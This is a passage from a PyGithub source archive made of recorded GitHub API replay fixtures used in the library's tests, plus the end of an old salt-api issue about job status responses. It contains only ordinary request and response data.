response","user":{"login":"sfdc-kho","id":3269880,"avatar_url":"https://gravatar.com/avatar/79dd31020b3bea2124d60cb5e3cd2edf?d=https%3A%2F%2Fidenticons.github.com%2Fad2f6831adfe0801e929c20710d3e537.png&r=x","gravatar_id":"79dd31020b3bea2124d60cb5e3cd2edf","url":"https://api.github.com/users/sfdc-kho","html_url":"https://github.com/sfdc-kho","followers_url":"https://api.github.com/users/sfdc-kho/followers","following_url":"https://api.github.com/users/sfdc-kho/following{/other_user}","gists_url":"https://api.github.com/users/sfdc-kho/gists{/gist_id}","starred_url":"https://api.github.com/users/sfdc-kho/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/sfdc-kho/subscriptions","organizations_url":"https://api.github.com/users/sfdc-kho/orgs","repos_url":"https://api.github.com/users/sfdc-kho/repos","events_url":"https://api.github.com/users/sfdc-kho/events{/privacy}","received_events_url":"https://api.github.com/users/sfdc-kho/received_events","type":"User","site_admin":false},"labels":[{"url":"https://api.github.com/repos/saltstack/salt-api/labels/0+-+Backlog","name":"0 - Backlog","color":"CCCCCC"}],"state":"open","assignee":null,"milestone":{"url":"https://api.github.com/repos/saltstack/salt-api/milestones/2","labels_url":"https://api.github.com/repos/saltstack/salt-api/milestones/2/labels","id":187473,"number":2,"title":"Approved for future release","description":"","creator":{"login":"thatch45","id":507599,"avatar_url":"https://gravatar.com/avatar/ff7bc69b52eecf808141c470543db4f3?d=https%3A%2F%2Fidenticons.github.com%2F6a6eafefee200db675061e2df14be5f7.png&r=x","gravatar_id":"ff7bc69b52eecf808141c470543db4f3","url":"https://api.github.com/users/thatch45","html_url":"https://github.com/thatch45","followers_url":"https://api.github.com/users/thatch45/followers","following_url":"https://api.github.com/users/thatch45/following{/other_user}","gists_url":"https://api.github.com/users/thatch45/gists{/gist_id}","starred_url":"https://api.github.com/users/thatch45/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/thatch45/subscriptions","organizations_url":"https://api.github.com/users/thatch45/orgs","repos_url":"https://api.github.com/users/thatch45/repos","events_url":"https://api.github.com/users/thatch45/events{/privacy}","received_events_url":"https://api.github.com/users/thatch45/received_events","type":"User","site_admin":false},"open_issues":1,"closed_issues":7,"state":"open","created_at":"2012-10-01T17:16:46Z","updated_at":"2014-03-04T18:08:09Z","due_on":null},"comments":4,"created_at":"2013-02-26T00:44:05Z","updated_at":"2014-03-04T18:28:12Z","closed_at":null,"pull_request":{"html_url":null,"diff_url":null,"patch_url":null},"body":"Currently, the minion response when a job hasn't completed is:\r\nbash-3.2$ curl -i localhost:8000/jobs/20130225115005304834 \\\r\n> -H \"X-Auth-Token: 129c6a5dadd1463932fd9db452b52148c44c6c91\" \\\r\n> -H \"Accept: application/json\"\r\nHTTP/1.1 200 OK\r\nContent-Length: 16\r\nVary: Accept-Encoding\r\nServer: CherryPy/3.2.2\r\nAllow: GET, HEAD, POST\r\nCache-Control: private\r\nDate: Mon, 25 Feb 2013 19:50:12 GMT\r\nContent-Type: application/json\r\nSet-Cookie: session_id=129c6a5dadd1463932fd9db452b52148c44c6c91; expires=Tue, 26 Feb 2013 05:50:12 GMT; Path=/\r\n\r\n{\"return\": [{}]}\r\n\r\nI am using this and a combination of saltutil.running to determine whether the job is still running, dead or completed. However, if the other issues like streaming responses get incorporated, it will become increasingly difficult to detect the state of any given job. Is it possible to return more information about what the state of the job is in the response?\r\n\r\n\r\n","score":1.0}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SecurityAndAnalysis.setUp.txt0000644000175100001660000002103114756101563023751 0ustar00runnerdockerhttps GET api.github.com None /repos/PyGithub/PyGithub {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Date', 'Tue, 07 Jan 2025 08:54:00 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP,Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"37ea58577585c38f93634ef43114c657de2581286eb6976ec18c274de296eff0"'), ('Last-Modified', 'Mon, 06 Jan 2025 21:35:40 GMT'), ('X-OAuth-Scopes', 'read:discussion, repo'), ('X-Accepted-OAuth-Scopes', 'repo'), ('github-authentication-token-expiration', '2025-02-04 16:42:10 UTC'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('x-github-api-version-selected', '2022-11-28'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4998'), ('X-RateLimit-Reset', '1736243610'), ('X-RateLimit-Used', '2'), ('X-RateLimit-Resource', 'core'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Resource, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, X-GitHub-SSO, X-GitHub-Request-Id, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '0'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('Transfer-Encoding', 'chunked'), ('Server', 'github.com'), ('X-GitHub-Request-Id', 'E7D6:3EE039:1381942:1418241:677CEBA8')] {"id":3544490,"node_id":"MDEwOlJlcG9zaXRvcnkzNTQ0NDkw","name":"PyGithub","full_name":"PyGithub/PyGithub","private":false,"owner":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"html_url":"https://github.com/PyGithub/PyGithub","description":"Typed interactions with the GitHub API v3","fork":false,"url":"https://api.github.com/repos/PyGithub/PyGithub","forks_url":"https://api.github.com/repos/PyGithub/PyGithub/forks","keys_url":"https://api.github.com/repos/PyGithub/PyGithub/keys{/key_id}","collaborators_url":"https://api.github.com/repos/PyGithub/PyGithub/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/PyGithub/PyGithub/teams","hooks_url":"https://api.github.com/repos/PyGithub/PyGithub/hooks","issue_events_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/events{/number}","events_url":"https://api.github.com/repos/PyGithub/PyGithub/events","assignees_url":"https://api.github.com/repos/PyGithub/PyGithub/assignees{/user}","branches_url":"https://api.github.com/repos/PyGithub/PyGithub/branches{/branch}","tags_url":"https://api.github.com/repos/PyGithub/PyGithub/tags","blobs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/PyGithub/PyGithub/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/PyGithub/PyGithub/git/refs{/sha}","trees_url":"https://api.github.com/repos/PyGithub/PyGithub/git/trees{/sha}","statuses_url":"https://api.github.com/repos/PyGithub/PyGithub/statuses/{sha}","languages_url":"https://api.github.com/repos/PyGithub/PyGithub/languages","stargazers_url":"https://api.github.com/repos/PyGithub/PyGithub/stargazers","contributors_url":"https://api.github.com/repos/PyGithub/PyGithub/contributors","subscribers_url":"https://api.github.com/repos/PyGithub/PyGithub/subscribers","subscription_url":"https://api.github.com/repos/PyGithub/PyGithub/subscription","commits_url":"https://api.github.com/repos/PyGithub/PyGithub/commits{/sha}","git_commits_url":"https://api.github.com/repos/PyGithub/PyGithub/git/commits{/sha}","comments_url":"https://api.github.com/repos/PyGithub/PyGithub/comments{/number}","issue_comment_url":"https://api.github.com/repos/PyGithub/PyGithub/issues/comments{/number}","contents_url":"https://api.github.com/repos/PyGithub/PyGithub/contents/{+path}","compare_url":"https://api.github.com/repos/PyGithub/PyGithub/compare/{base}...{head}","merges_url":"https://api.github.com/repos/PyGithub/PyGithub/merges","archive_url":"https://api.github.com/repos/PyGithub/PyGithub/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/PyGithub/PyGithub/downloads","issues_url":"https://api.github.com/repos/PyGithub/PyGithub/issues{/number}","pulls_url":"https://api.github.com/repos/PyGithub/PyGithub/pulls{/number}","milestones_url":"https://api.github.com/repos/PyGithub/PyGithub/milestones{/number}","notifications_url":"https://api.github.com/repos/PyGithub/PyGithub/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/PyGithub/PyGithub/labels{/name}","releases_url":"https://api.github.com/repos/PyGithub/PyGithub/releases{/id}","deployments_url":"https://api.github.com/repos/PyGithub/PyGithub/deployments","created_at":"2012-02-25T12:53:47Z","updated_at":"2025-01-06T21:35:40Z","pushed_at":"2024-12-19T12:01:11Z","git_url":"git://github.com/PyGithub/PyGithub.git","ssh_url":"git@github.com:PyGithub/PyGithub.git","clone_url":"https://github.com/PyGithub/PyGithub.git","svn_url":"https://github.com/PyGithub/PyGithub","homepage":"https://pygithub.readthedocs.io/","size":16425,"stargazers_count":7122,"watchers_count":7122,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":false,"has_pages":false,"has_discussions":true,"forks_count":1793,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":357,"license":{"key":"lgpl-3.0","name":"GNU Lesser General Public License v3.0","spdx_id":"LGPL-3.0","url":"https://api.github.com/licenses/lgpl-3.0","node_id":"MDc6TGljZW5zZTEy"},"allow_forking":true,"is_template":false,"web_commit_signoff_required":false,"topics":["github","github-api","pygithub","python"],"visibility":"public","forks":1793,"open_issues":357,"watchers":7122,"default_branch":"main","permissions":{"admin":true,"maintain":true,"push":true,"triage":true,"pull":true},"temp_clone_token":"","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":false,"allow_auto_merge":false,"delete_branch_on_merge":true,"allow_update_branch":true,"use_squash_pr_title_as_default":true,"squash_merge_commit_message":"PR_BODY","squash_merge_commit_title":"PR_TITLE","merge_commit_message":"PR_TITLE","merge_commit_title":"MERGE_MESSAGE","custom_properties":{},"organization":{"login":"PyGithub","id":11288996,"node_id":"MDEyOk9yZ2FuaXphdGlvbjExMjg4OTk2","avatar_url":"https://avatars.githubusercontent.com/u/11288996?v=4","gravatar_id":"","url":"https://api.github.com/users/PyGithub","html_url":"https://github.com/PyGithub","followers_url":"https://api.github.com/users/PyGithub/followers","following_url":"https://api.github.com/users/PyGithub/following{/other_user}","gists_url":"https://api.github.com/users/PyGithub/gists{/gist_id}","starred_url":"https://api.github.com/users/PyGithub/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/PyGithub/subscriptions","organizations_url":"https://api.github.com/users/PyGithub/orgs","repos_url":"https://api.github.com/users/PyGithub/repos","events_url":"https://api.github.com/users/PyGithub/events{/privacy}","received_events_url":"https://api.github.com/users/PyGithub/received_events","type":"Organization","user_view_type":"public","site_admin":false},"security_and_analysis":{"secret_scanning":{"status":"disabled"},"secret_scanning_push_protection":{"status":"disabled"},"dependabot_security_updates":{"status":"enabled"},"secret_scanning_non_provider_patterns":{"status":"disabled"},"secret_scanning_validity_checks":{"status":"disabled"}},"network_count":1793,"subscribers_count":111} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SelfHostedActionsRunner.setUp.txt0000644000175100001660000002452114756101563024575 0ustar00runnerdockerhttps GET api.github.com None /users/ReDASers {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:54 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e03ba66cb434ea917b2213d2e622f165"'), ('Last-Modified', 'Sun, 23 Aug 2020 16:44:50 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4834'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '166'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB64:1A52:21DA0C9:3A892A5:5F56B372')] {"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false,"name":null,"company":null,"blog":"","location":null,"email":null,"hireable":null,"bio":null,"twitter_username":null,"public_repos":1,"public_gists":0,"followers":0,"following":0,"created_at":"2020-06-17T16:24:55Z","updated_at":"2020-08-23T16:44:50Z"} https GET api.github.com None /repos/ReDASers/Phishing-Detection {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"802b1aa7dfdc444115a7dcaca43bb1ba"'), ('Last-Modified', 'Mon, 07 Sep 2020 20:43:44 GMT'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4833'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '167'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB65:2B38:20EED81:3B5A74E:5F56B372')] {"id":146139403,"node_id":"MDEwOlJlcG9zaXRvcnkxNDYxMzk0MDM=","name":"Phishing-Detection","full_name":"ReDASers/Phishing-Detection","private":true,"owner":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"html_url":"https://github.com/ReDASers/Phishing-Detection","description":"A customizable benchmarking framework for phishing research. ","fork":false,"url":"https://api.github.com/repos/ReDASers/Phishing-Detection","forks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/forks","keys_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/keys{/key_id}","collaborators_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/teams","hooks_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/hooks","issue_events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/events{/number}","events_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/events","assignees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/assignees{/user}","branches_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/branches{/branch}","tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/tags","blobs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/blobs{/sha}","git_tags_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/tags{/sha}","git_refs_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/refs{/sha}","trees_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/trees{/sha}","statuses_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/statuses/{sha}","languages_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/languages","stargazers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/stargazers","contributors_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contributors","subscribers_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscribers","subscription_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/subscription","commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/commits{/sha}","git_commits_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/git/commits{/sha}","comments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/comments{/number}","issue_comment_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues/comments{/number}","contents_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/contents/{+path}","compare_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/compare/{base}...{head}","merges_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/merges","archive_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/{archive_format}{/ref}","downloads_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/downloads","issues_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/issues{/number}","pulls_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/pulls{/number}","milestones_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/milestones{/number}","notifications_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/notifications{?since,all,participating}","labels_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/labels{/name}","releases_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/releases{/id}","deployments_url":"https://api.github.com/repos/ReDASers/Phishing-Detection/deployments","created_at":"2018-08-26T00:30:13Z","updated_at":"2020-09-07T20:43:44Z","pushed_at":"2020-09-07T20:43:41Z","git_url":"git://github.com/ReDASers/Phishing-Detection.git","ssh_url":"git@github.com:ReDASers/Phishing-Detection.git","clone_url":"https://github.com/ReDASers/Phishing-Detection.git","svn_url":"https://github.com/ReDASers/Phishing-Detection","homepage":"","size":23564,"stargazers_count":1,"watchers_count":1,"language":"Python","has_issues":true,"has_projects":true,"has_downloads":true,"has_wiki":true,"has_pages":false,"forks_count":1,"mirror_url":null,"archived":false,"disabled":false,"open_issues_count":10,"license":null,"forks":1,"open_issues":10,"watchers":1,"default_branch":"master","permissions":{"admin":true,"push":true,"pull":true},"temp_clone_token":"ABZLTTFLFBXEARWZCFARAZK7K22J6","allow_squash_merge":true,"allow_merge_commit":false,"allow_rebase_merge":true,"delete_branch_on_merge":false,"organization":{"login":"ReDASers","id":67067070,"node_id":"MDEyOk9yZ2FuaXphdGlvbjY3MDY3MDcw","avatar_url":"https://avatars0.githubusercontent.com/u/67067070?v=4","gravatar_id":"","url":"https://api.github.com/users/ReDASers","html_url":"https://github.com/ReDASers","followers_url":"https://api.github.com/users/ReDASers/followers","following_url":"https://api.github.com/users/ReDASers/following{/other_user}","gists_url":"https://api.github.com/users/ReDASers/gists{/gist_id}","starred_url":"https://api.github.com/users/ReDASers/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/ReDASers/subscriptions","organizations_url":"https://api.github.com/users/ReDASers/orgs","repos_url":"https://api.github.com/users/ReDASers/repos","events_url":"https://api.github.com/users/ReDASers/events{/privacy}","received_events_url":"https://api.github.com/users/ReDASers/received_events","type":"Organization","site_admin":false},"network_count":1,"subscribers_count":2} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SelfHostedActionsRunner.testAttributes.txt0000644000175100001660000000322614756101563026522 0ustar00runnerdockerhttps GET api.github.com None /repos/ReDASers/Phishing-Detection/actions/runners/2217 {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} None 200 [('Server', 'GitHub.com'), ('Date', 'Mon, 07 Sep 2020 22:25:55 GMT'), ('Content-Type', 'application/json; charset=utf-8'), ('Transfer-Encoding', 'chunked'), ('Status', '200 OK'), ('Cache-Control', 'private, max-age=60, s-maxage=60'), ('Vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding, Accept, X-Requested-With'), ('ETag', 'W/"e1bb6005140b66d1a4905bfc1af4809c"'), ('X-GitHub-Media-Type', 'github.v3; format=json'), ('X-RateLimit-Limit', '5000'), ('X-RateLimit-Remaining', '4832'), ('X-RateLimit-Reset', '1599518262'), ('X-RateLimit-Used', '168'), ('Access-Control-Expose-Headers', 'ETag, Link, Location, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Used, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval, X-GitHub-Media-Type, Deprecation, Sunset'), ('Access-Control-Allow-Origin', '*'), ('Strict-Transport-Security', 'max-age=31536000; includeSubdomains; preload'), ('X-Frame-Options', 'deny'), ('X-Content-Type-Options', 'nosniff'), ('X-XSS-Protection', '1; mode=block'), ('Referrer-Policy', 'origin-when-cross-origin, strict-origin-when-cross-origin'), ('Content-Security-Policy', "default-src 'none'"), ('Content-Encoding', 'gzip'), ('X-GitHub-Request-Id', 'CB66:5760:818D4C:15F3BD5:5F56B373')] {"id":2217,"name":"4306125c7c84","os":"linux","status":"offline","busy":false,"labels":[{"id":1,"name":"self-hosted","type":"read-only"},{"id":3,"name":"X64","type":"read-only"},{"id":4,"name":"Linux","type":"read-only"}]} ././@PaxHeader0000000000000000000000000000002600000000000010213 xustar0022 mtime=1740145523.0 pygithub-2.6.1/tests/ReplayData/SourceImport.setUp.txt0000644000175100001660000002526314756101563022461 0ustar00runnerdockerhttps GET api.github.com None /users/brix4dayz {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '1143'), ('x-runtime-rack', '0.037535'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', ''), ('etag', '"5f005737679e3703efce7e706ad4fe72"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4990'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D34B:203D:AE7A72:182C586:5A374787'), ('last-modified', 'Mon, 18 Dec 2017 01:31:56 GMT'), ('date', 'Mon, 18 Dec 2017 04:43:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513572653')] {"login":"brix4dayz","id":11233384,"avatar_url":"https://avatars0.githubusercontent.com/u/11233384?v=4","gravatar_id":"","url":"https://api.github.com/users/brix4dayz","html_url":"https://github.com/brix4dayz","followers_url":"https://api.github.com/users/brix4dayz/followers","following_url":"https://api.github.com/users/brix4dayz/following{/other_user}","gists_url":"https://api.github.com/users/brix4dayz/gists{/gist_id}","starred_url":"https://api.github.com/users/brix4dayz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brix4dayz/subscriptions","organizations_url":"https://api.github.com/users/brix4dayz/orgs","repos_url":"https://api.github.com/users/brix4dayz/repos","events_url":"https://api.github.com/users/brix4dayz/events{/privacy}","received_events_url":"https://api.github.com/users/brix4dayz/received_events","type":"User","site_admin":false,"name":"Hayden Fuss","company":"Bandwidth.com","blog":"","location":"Raleigh, NC","email":null,"hireable":null,"bio":null,"public_repos":9,"public_gists":0,"followers":4,"following":5,"created_at":"2015-02-27T17:32:06Z","updated_at":"2017-12-18T01:31:56Z"} https GET api.github.com None /repos/brix4dayz/source-import-test {'Authorization': 'Basic login_and_password_removed', 'User-Agent': 'PyGithub/Python'} null 200 [('content-length', '5271'), ('x-runtime-rack', '0.059841'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP'), ('x-oauth-scopes', 'repo'), ('x-xss-protection', '1; mode=block'), ('x-content-type-options', 'nosniff'), ('x-accepted-oauth-scopes', 'repo'), ('etag', '"bfe90beb5d300f2556ac2156c7a06731"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('status', '200 OK'), ('x-ratelimit-remaining', '4989'), ('x-github-media-type', 'github.v3; format=json'), ('access-control-expose-headers', 'ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', 'D34C:204B:1529C80:2C2201E:5A374787'), ('last-modified', 'Mon, 18 Dec 2017 03:41:58 GMT'), ('date', 'Mon, 18 Dec 2017 04:43:51 GMT'), ('access-control-allow-origin', '*'), ('content-security-policy', "default-src 'none'"), ('strict-transport-security', 'max-age=31536000; includeSubdomains; preload'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('x-frame-options', 'deny'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1513572653')] {"id":114593046,"name":"source-import-test","full_name":"brix4dayz/source-import-test","owner":{"login":"brix4dayz","id":11233384,"avatar_url":"https://avatars0.githubusercontent.com/u/11233384?v=4","gravatar_id":"","url":"https://api.github.com/users/brix4dayz","html_url":"https://github.com/brix4dayz","followers_url":"https://api.github.com/users/brix4dayz/followers","following_url":"https://api.github.com/users/brix4dayz/following{/other_user}","gists_url":"https://api.github.com/users/brix4dayz/gists{/gist_id}","starred_url":"https://api.github.com/users/brix4dayz/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/brix4dayz/subscriptions","organizations_url":"https://api.github.com/users/brix4dayz/orgs","repos_url":"https://api.github.com/users/brix4dayz/repos","events_url":"https://api.github.com/users/brix4dayz/events{/privacy}","received_events_url":"https://api.github.com/users/brix4dayz/received_events","type":"User","site_admin":false},"private":false,"html_url":"https://github.com/brix4dayz/source-import-test","description":null,"fork":false,"url":"https://api.github.com/repos/brix4dayz/source-import-test","forks_url":"https://api.github.com/repos/brix4dayz/source-import-test/forks","keys_url":"https://api.github.com/repos/brix4dayz/source-import-test/keys{/key_id}","collaborators_url":"https://api.github.com/repos/brix4dayz/source-import-test/collaborators{/collaborator}","teams_url":"https://api.github.com/repos/brix4dayz/source-import-test/teams","hooks_url":"https://api.github.com/repos/brix4dayz/source-import-test/hooks","issue_events_url":"https://api.github.com/repos/brix4dayz/source-import-test/issues/events{/number}","events_url":"https://api.github.com/repos/brix4dayz/source-import-test/events","assignees_url":"https://api.github.com/repos/brix4dayz/source-import-test/assignees{/user}","branches_url":"https://api.github.com/repos/brix4dayz/source-import-test/branches{/branch}","tags_url":"https://api.github.com/repos/brix4dayz/